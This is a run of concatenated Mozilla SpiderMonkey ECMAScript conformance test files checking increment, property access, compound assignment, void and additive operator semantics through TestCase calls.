MYVAR=false;++MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=new Boolean(true);++MYVAR;MYVAR", 2, eval("var MYVAR=new Boolean(true);++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new Boolean(false);++MYVAR;MYVAR", 1, eval("var MYVAR=new Boolean(false);++MYVAR;MYVAR") ); // string primitives new TestCase( SECTION, "var MYVAR='string';++MYVAR", Number.NaN, eval("var MYVAR='string';++MYVAR") ); new TestCase( SECTION, "var MYVAR='12345';++MYVAR", 12346, eval("var MYVAR='12345';++MYVAR") ); new TestCase( SECTION, "var MYVAR='-12345';++MYVAR", -12344, eval("var MYVAR='-12345';++MYVAR") ); new TestCase( SECTION, "var MYVAR='0Xf';++MYVAR", 16, eval("var MYVAR='0Xf';++MYVAR") ); new TestCase( SECTION, "var MYVAR='077';++MYVAR", 78, eval("var MYVAR='077';++MYVAR") ); new TestCase( SECTION, "var MYVAR=''; ++MYVAR", 1, eval("var MYVAR='';++MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR='string';++MYVAR;MYVAR", Number.NaN, eval("var MYVAR='string';++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='12345';++MYVAR;MYVAR", 12346, eval("var MYVAR='12345';++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='-12345';++MYVAR;MYVAR", -12344, eval("var MYVAR='-12345';++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='0xf';++MYVAR;MYVAR", 16, eval("var MYVAR='0xf';++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='077';++MYVAR;MYVAR", 78, eval("var MYVAR='077';++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR='';++MYVAR;MYVAR", 1, eval("var MYVAR='';++MYVAR;MYVAR") ); // string objects new TestCase( SECTION, "var MYVAR=new String('string');++MYVAR", Number.NaN, eval("var MYVAR=new String('string');++MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('12345');++MYVAR", 12346, eval("var MYVAR=new String('12345');++MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('-12345');++MYVAR", -12344, eval("var MYVAR=new String('-12345');++MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('0Xf');++MYVAR", 16, eval("var MYVAR=new String('0Xf');++MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('077');++MYVAR", 78, eval("var MYVAR=new String('077');++MYVAR") ); new TestCase( SECTION, "var MYVAR=new String(''); ++MYVAR", 1, eval("var MYVAR=new String('');++MYVAR") ); // verify value of variable new TestCase( SECTION, "var MYVAR=new String('string');++MYVAR;MYVAR", Number.NaN, eval("var MYVAR=new String('string');++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('12345');++MYVAR;MYVAR", 12346, eval("var MYVAR=new String('12345');++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('-12345');++MYVAR;MYVAR", -12344, eval("var MYVAR=new String('-12345');++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('0xf');++MYVAR;MYVAR", 16, eval("var MYVAR=new String('0xf');++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('077');++MYVAR;MYVAR", 78, eval("var MYVAR=new String('077');++MYVAR;MYVAR") ); new TestCase( SECTION, "var MYVAR=new String('');++MYVAR;MYVAR", 1, eval("var MYVAR=new String('');++MYVAR;MYVAR") ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.2.1-2.js0000664000175000017500000000603512106270663021616 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.2.1-2.js ECMA Section: 11.2.1 Property Accessors Description: Properties are accessed by name, using either the dot notation: MemberExpression . Identifier CallExpression . Identifier or the bracket notation: MemberExpression [ Expression ] CallExpression [ Expression ] The dot notation is explained by the following syntactic conversion: MemberExpression . Identifier is identical in its behavior to MemberExpression [ ] and similarly CallExpression . Identifier is identical in its behavior to CallExpression [ ] where is a string literal containing the same sequence of characters as the Identifier. The production MemberExpression : MemberExpression [ Expression ] is evaluated as follows: 1. Evaluate MemberExpression. 2. Call GetValue(Result(1)). 3. Evaluate Expression. 4. Call GetValue(Result(3)). 5. Call ToObject(Result(2)). 6. Call ToString(Result(4)). 7. Return a value of type Reference whose base object is Result(5) and whose property name is Result(6). The production CallExpression : CallExpression [ Expression ] is evaluated in exactly the same manner, except that the contained CallExpression is evaluated in step 1. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.2.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Property Accessors"; writeHeaderToLog( SECTION + " "+TITLE ); // go through all Native Function objects, methods, and properties and get their typeof. var PROPERTY = new Array(); var p = 0; // try to access properties of primitive types PROPERTY[p++] = new Property( "\"hi\"", "hi", "hi", NaN ); PROPERTY[p++] = new Property( NaN, NaN, "NaN", NaN ); // PROPERTY[p++] = new Property( 3, 3, "3", 3 ); PROPERTY[p++] = new Property( true, true, "true", 1 ); PROPERTY[p++] = new Property( false, false, "false", 0 ); for ( var i = 0, RESULT; i < PROPERTY.length; i++ ) { new TestCase( SECTION, PROPERTY[i].object + ".valueOf()", PROPERTY[i].value, eval( PROPERTY[i].object+ ".valueOf()" ) ); new TestCase( SECTION, PROPERTY[i].object + ".toString()", PROPERTY[i].string, eval( PROPERTY[i].object+ ".toString()" ) ); } test(); function MyObject( value ) { this.value = value; this.stringValue = value +""; this.numberValue = Number(value); return this; } function Property( object, value, string, number ) { this.object = object; this.string = String(value); this.number = Number(value); this.value = value; } mozjs17.0.0/js/src/tests/ecma/Expressions/11.13.2-5.js0000664000175000017500000001636512106270663021713 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.13.2-5.js ECMA Section: 11.13.2 Compound Assignment: -= Description: *= /= %= -= -= <<= >>= >>>= &= ^= |= 11.13.2 Compound assignment ( op= ) The production AssignmentExpression : LeftHandSideExpression @ = AssignmentExpression, where @ represents one of the operators indicated above, is evaluated as follows: 1. Evaluate LeftHandSideExpression. 2. Call GetValue(Result(1)). 3. Evaluate AssignmentExpression. 4. Call GetValue(Result(3)). 5. Apply operator @ to Result(2) and Result(4). 6. Call PutValue(Result(1), Result(5)). 7. Return Result(5). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.13.2-5"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Compound Assignment: -="); // If either operand is NaN, result is NaN new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 -= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 -= VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 -= VAR2", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 -= VAR2; VAR1") ); // the sum of two Infinities the same sign is the infinity of that sign // the sum of two Infinities of opposite sign is NaN new TestCase( SECTION, "VAR1 = Infinity; VAR2= Infinity; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = Infinity; VAR2= -Infinity; VAR1 -= VAR2; VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2= Infinity; VAR1 -= VAR2; VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2=-Infinity; VAR1 -= VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 -= VAR2; VAR1") ); // the sum of an infinity and a finite value is equal to the infinite operand new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR1 -= VAR2;VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR1 -= VAR2;VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR1 -= VAR2;VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR1 -= VAR2;VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 -= VAR2; VAR1") ); // the sum of two negative zeros is -0. the sum of two positive zeros, or of two zeros of opposite sign, is +0 new TestCase( SECTION, "VAR1 = 0; VAR2= -0; VAR1 -= VAR2", 0, eval("VAR1 = 0; VAR2 = 0; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= 0; VAR1 -= VAR2", 0, eval("VAR1 = 0; VAR2 = -0; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -0; VAR1 -= VAR2", 0, eval("VAR1 = -0; VAR2 = 0; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= 0; VAR1 -= VAR2", -0, eval("VAR1 = -0; VAR2 = -0; VAR1 -= VAR2; VAR1") ); // the sum of a zero and a nonzero finite value is eqal to the nonzero operand new TestCase( SECTION, "VAR1 = 0; VAR2= -1; VAR1 -= VAR2; VAR1", 1, eval("VAR1 = 0; VAR2 = -1; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -1; VAR1 -= VAR2; VAR1", 1, eval("VAR1 = -0; VAR2 = -1; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= 1; VAR1 -= VAR2; VAR1", -1, eval("VAR1 = -0; VAR2 = 1; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= 1; VAR1 -= VAR2; VAR1", -1, eval("VAR1 = 0; VAR2 = 1; VAR1 -= VAR2; VAR1") ); // the sum of a zero and a nozero finite value is equal to the nonzero operand. new TestCase( SECTION, "VAR1 = 0; VAR2=-1; VAR1 -= VAR2", 1, eval("VAR1 = 0; VAR2=-1; VAR1 -= VAR2;VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2=-1; VAR1 -= VAR2;VAR1", 1, eval("VAR1 = 0; VAR2=-1; VAR1 -= VAR2;VAR1") ); // the sum of two nonzero finite values of the same magnitude and opposite sign is +0 new TestCase( SECTION, "VAR1 = Number.MAX_VALUE; VAR2= Number.MAX_VALUE; VAR1 -= VAR2; VAR1", 0, eval("VAR1 = Number.MAX_VALUE; VAR2= Number.MAX_VALUE; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = Number.MIN_VALUE; VAR2= Number.MIN_VALUE; VAR1 -= VAR2; VAR1", 0, eval("VAR1 = Number.MIN_VALUE; VAR2= Number.MIN_VALUE; VAR1 -= VAR2; VAR1") ); /* new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 -= VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 -= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 -= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 -= VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 -= VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 -= VAR2") ); // boolean cases new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 -= VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 -= VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 -= VAR2") ); // object cases new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 -= VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 -= VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 -= VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 -= VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 -= VAR2") ); new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 -= VAR2", 255, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 -= VAR2") ); */ test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.4.2.js0000664000175000017500000000577112106270663021470 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.4.2.js ECMA Section: 11.4.2 the Void Operator Description: always returns undefined (?) Author: christine@netscape.com Date: 7 july 1997 */ var SECTION = "11.4.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The void operator"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "void(new String('string object'))", void 0, void(new String( 'string object' )) ); new TestCase( SECTION, "void('string primitive')", void 0, void("string primitive") ); new TestCase( SECTION, "void(Number.NaN)", void 0, void(Number.NaN) ); new TestCase( SECTION, "void(Number.POSITIVE_INFINITY)", void 0, void(Number.POSITIVE_INFINITY) ); new TestCase( SECTION, "void(1)", void 0, void(1) ); new TestCase( SECTION, "void(0)", void 0, void(0) ); new TestCase( SECTION, "void(-1)", void 0, void(-1) ); new TestCase( SECTION, "void(Number.NEGATIVE_INFINITY)", void 0, void(Number.NEGATIVE_INFINITY) ); new TestCase( SECTION, "void(Math.PI)", void 0, void(Math.PI) ); new TestCase( SECTION, "void(true)", void 0, void(true) ); new TestCase( SECTION, "void(false)", void 0, void(false) ); new TestCase( SECTION, "void(null)", void 0, void(null) ); new TestCase( SECTION, "void new String('string object')", void 0, void new String( 'string object' ) ); new TestCase( SECTION, "void 'string primitive'", void 0, void "string primitive" ); new TestCase( SECTION, "void Number.NaN", void 0, void Number.NaN ); new TestCase( SECTION, "void Number.POSITIVE_INFINITY", void 0, void Number.POSITIVE_INFINITY ); new TestCase( SECTION, "void 1", void 0, void 1 ); new TestCase( SECTION, "void 0", void 0, void 0 ); new TestCase( SECTION, "void -1", void 0, void -1 ); new TestCase( SECTION, "void Number.NEGATIVE_INFINITY", void 0, void Number.NEGATIVE_INFINITY ); new TestCase( SECTION, "void Math.PI", void 0, void Math.PI ); new TestCase( SECTION, "void true", void 0, void true ); new TestCase( SECTION, "void false", void 0, void false ); new TestCase( SECTION, "void null", void 0, void null ); // array[item++] = new TestCase( SECTION, "void()", void 0, void() ); test(); mozjs17.0.0/js/src/tests/ecma/Expressions/11.13.2-4.js0000664000175000017500000001637212106270663021710 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.13.2-4.js ECMA Section: 11.13.2 Compound Assignment:+= Description: *= /= %= += -= <<= >>= >>>= &= ^= |= 11.13.2 Compound assignment ( op= ) The production AssignmentExpression : LeftHandSideExpression @ = AssignmentExpression, where @ represents one of the operators indicated above, is evaluated as follows: 1. Evaluate LeftHandSideExpression. 2. Call GetValue(Result(1)). 3. Evaluate AssignmentExpression. 4. Call GetValue(Result(3)). 5. Apply operator @ to Result(2) and Result(4). 6. Call PutValue(Result(1), Result(5)). 7. Return Result(5). Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.13.2-4"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Compound Assignment: +="); // If either operand is NaN, result is NaN new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 += VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=1; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=1; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 += VAR2", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = NaN; VAR2=0; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NaN; VAR2=0; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 += VAR2", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2=NaN; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = 0; VAR2=Number.NaN; VAR1 += VAR2; VAR1") ); // the sum of two Infinities the same sign is the infinity of that sign // the sum of two Infinities of opposite sign is NaN new TestCase( SECTION, "VAR1 = Infinity; VAR2= Infinity; VAR1 += VAR2; VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = Infinity; VAR2= -Infinity; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = Number.POSITIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2= Infinity; VAR1 += VAR2; VAR1", Number.NaN, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.POSITIVE_INFINITY; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 =-Infinity; VAR2=-Infinity; VAR1 += VAR2; VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = Number.NEGATIVE_INFINITY; VAR2 = Number.NEGATIVE_INFINITY; VAR1 += VAR2; VAR1") ); // the sum of an infinity and a finite value is equal to the infinite operand new TestCase( SECTION, "VAR1 = 0; VAR2= Infinity; VAR1 += VAR2;VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.POSITIVE_INFINITY; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= Infinity; VAR1 += VAR2;VAR1", Number.POSITIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.POSITIVE_INFINITY; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -Infinity; VAR1 += VAR2;VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = -0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -Infinity; VAR1 += VAR2;VAR1", Number.NEGATIVE_INFINITY, eval("VAR1 = 0; VAR2 = Number.NEGATIVE_INFINITY; VAR1 += VAR2; VAR1") ); // the sum of two negative zeros is -0. the sum of two positive zeros, or of two zeros of opposite sign, is +0 new TestCase( SECTION, "VAR1 = 0; VAR2= 0; VAR1 += VAR2", 0, eval("VAR1 = 0; VAR2 = 0; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -0; VAR1 += VAR2", 0, eval("VAR1 = 0; VAR2 = -0; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= 0; VAR1 += VAR2", 0, eval("VAR1 = -0; VAR2 = 0; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -0; VAR1 += VAR2", -0, eval("VAR1 = -0; VAR2 = -0; VAR1 += VAR2; VAR1") ); // the sum of a zero and a nonzero finite value is eqal to the nonzero operand new TestCase( SECTION, "VAR1 = 0; VAR2= 1; VAR2 += VAR1; VAR2", 1, eval("VAR1 = 0; VAR2 = 1; VAR2 += VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -0; VAR2= 1; VAR2 += VAR1; VAR2", 1, eval("VAR1 = -0; VAR2 = 1; VAR2 += VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = -0; VAR2= -1; VAR2 += VAR1; VAR2", -1, eval("VAR1 = -0; VAR2 = -1; VAR2 += VAR1; VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2= -1; VAR2 += VAR1; VAR2", -1, eval("VAR1 = 0; VAR2 = -1; VAR2 += VAR1; VAR2") ); // the sum of a zero and a nozero finite value is equal to the nonzero operand. new TestCase( SECTION, "VAR1 = 0; VAR2=1; VAR1 += VAR2", 1, eval("VAR1 = 0; VAR2=1; VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = 0; VAR2=1; VAR1 += VAR2;VAR1", 1, eval("VAR1 = 0; VAR2=1; VAR1 += VAR2;VAR1") ); // the sum of two nonzero finite values of the same magnitude and opposite sign is +0 new TestCase( SECTION, "VAR1 = Number.MAX_VALUE; VAR2= -Number.MAX_VALUE; VAR1 += VAR2; VAR1", 0, eval("VAR1 = Number.MAX_VALUE; VAR2= -Number.MAX_VALUE; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = Number.MIN_VALUE; VAR2= -Number.MIN_VALUE; VAR1 += VAR2; VAR1", 0, eval("VAR1 = Number.MIN_VALUE; VAR2= -Number.MIN_VALUE; VAR1 += VAR2; VAR1") ); /* new TestCase( SECTION, "VAR1 = 10; VAR2 = '0XFF', VAR1 += VAR2", 2550, eval("VAR1 = 10; VAR2 = '0XFF', VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 += VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '255', VAR1 += VAR2", 2550, eval("VAR1 = '10'; VAR2 = '255', VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = '10'; VAR2 = '0XFF', VAR1 += VAR2", 2550, eval("VAR1 = '10'; VAR2 = '0XFF', VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = '0xFF'; VAR2 = 0xA, VAR1 += VAR2", 2550, eval("VAR1 = '0XFF'; VAR2 = 0XA, VAR1 += VAR2") ); // boolean cases new TestCase( SECTION, "VAR1 = true; VAR2 = false; VAR1 += VAR2", 0, eval("VAR1 = true; VAR2 = false; VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = true; VAR2 = true; VAR1 += VAR2", 1, eval("VAR1 = true; VAR2 = true; VAR1 += VAR2") ); // object cases new TestCase( SECTION, "VAR1 = new Boolean(true); VAR2 = 10; VAR1 += VAR2;VAR1", 10, eval("VAR1 = new Boolean(true); VAR2 = 10; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = 10; VAR1 += VAR2; VAR1", 110, eval("VAR1 = new Number(11); VAR2 = 10; VAR1 += VAR2; VAR1") ); new TestCase( SECTION, "VAR1 = new Number(11); VAR2 = new Number(10); VAR1 += VAR2", 110, eval("VAR1 = new Number(11); VAR2 = new Number(10); VAR1 += VAR2") ); new TestCase( SECTION, "VAR1 = new String('15'); VAR2 = new String('0xF'); VAR1 += VAR2", 255, eval("VAR1 = String('15'); VAR2 = new String('0xF'); VAR1 += VAR2") ); */ test(); mozjs17.0.0/js/src/tests/ecma/Expressions/browser.js0000664000175000017500000000000012106270663022404 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Expressions/11.6.3.js0000664000175000017500000001055612106270663021470 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 11.6.3.js ECMA Section: 11.6.3 Applying the additive operators (+, -) to numbers Description: The + operator performs addition when applied to two operands of numeric type, producing the sum of the operands. The - operator performs subtraction, producing the difference of two numeric operands. Addition is a commutative operation, but not always associative. The result of an addition is determined using the rules of IEEE 754 double-precision arithmetic: If either operand is NaN, the result is NaN. The sum of two infinities of opposite sign is NaN. The sum of two infinities of the same sign is the infinity of that sign. The sum of an infinity and a finite value is equal to the infinite operand. The sum of two negative zeros is 0. The sum of two positive zeros, or of two zeros of opposite sign, is +0. The sum of a zero and a nonzero finite value is equal to the nonzero operand. The sum of two nonzero finite values of the same magnitude and opposite sign is +0. In the remaining cases, where neither an infinity, nor a zero, nor NaN is involved, and the operands have the same sign or have different magnitudes, the sum is computed and rounded to the nearest representable value using IEEE 754 round-to-nearest mode. If the magnitude is too large to represent, the operation overflows and the result is then an infinity of appropriate sign. The ECMAScript language requires support of gradual underflow as defined by IEEE 754. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "11.6.3"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Applying the additive operators (+,-) to numbers"); new TestCase( SECTION, "Number.NaN + 1", Number.NaN, Number.NaN + 1 ); new TestCase( SECTION, "1 + Number.NaN", Number.NaN, 1 + Number.NaN ); new TestCase( SECTION, "Number.NaN - 1", Number.NaN, Number.NaN - 1 ); new TestCase( SECTION, "1 - Number.NaN", Number.NaN, 1 - Number.NaN ); new TestCase( SECTION, "Number.POSITIVE_INFINITY + Number.POSITIVE_INFINITY", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY + Number.POSITIVE_INFINITY); new TestCase( SECTION, "Number.NEGATIVE_INFINITY + Number.NEGATIVE_INFINITY", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY + Number.NEGATIVE_INFINITY); new TestCase( SECTION, "Number.POSITIVE_INFINITY + Number.NEGATIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY + Number.NEGATIVE_INFINITY); new TestCase( SECTION, "Number.NEGATIVE_INFINITY + Number.POSITIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY + Number.POSITIVE_INFINITY); new TestCase( SECTION, "Number.POSITIVE_INFINITY - Number.POSITIVE_INFINITY", Number.NaN, Number.POSITIVE_INFINITY - Number.POSITIVE_INFINITY); new TestCase( SECTION, "Number.NEGATIVE_INFINITY - Number.NEGATIVE_INFINITY", Number.NaN, Number.NEGATIVE_INFINITY - Number.NEGATIVE_INFINITY); new TestCase( SECTION, "Number.POSITIVE_INFINITY - Number.NEGATIVE_INFINITY", Number.POSITIVE_INFINITY, Number.POSITIVE_INFINITY - Number.NEGATIVE_INFINITY); new TestCase( SECTION, "Number.NEGATIVE_INFINITY - Number.POSITIVE_INFINITY", Number.NEGATIVE_INFINITY, Number.NEGATIVE_INFINITY - Number.POSITIVE_INFINITY); new TestCase( SECTION, "-0 + -0", -0, -0 + -0 ); new TestCase( SECTION, "-0 - 0", -0, -0 - 0 ); new TestCase( SECTION, "0 + 0", 0, 0 + 0 ); new TestCase( SECTION, "0 + -0", 0, 0 + -0 ); new TestCase( SECTION, "0 - -0", 0, 0 - -0 ); new TestCase( SECTION, "0 - 0", 0, 0 - 0 ); new TestCase( SECTION, "-0 - -0", 0, -0 - -0 ); new TestCase( SECTION, "-0 + 0", 0, -0 + 0 ); new TestCase( SECTION, "Number.MAX_VALUE - Number.MAX_VALUE", 0, Number.MAX_VALUE - Number.MAX_VALUE ); new TestCase( SECTION, "1/Number.MAX_VALUE - 1/Number.MAX_VALUE", 0, 1/Number.MAX_VALUE - 1/Number.MAX_VALUE ); new TestCase( SECTION, "Number.MIN_VALUE - Number.MIN_VALUE", 0, Number.MIN_VALUE - Number.MIN_VALUE ); test(); 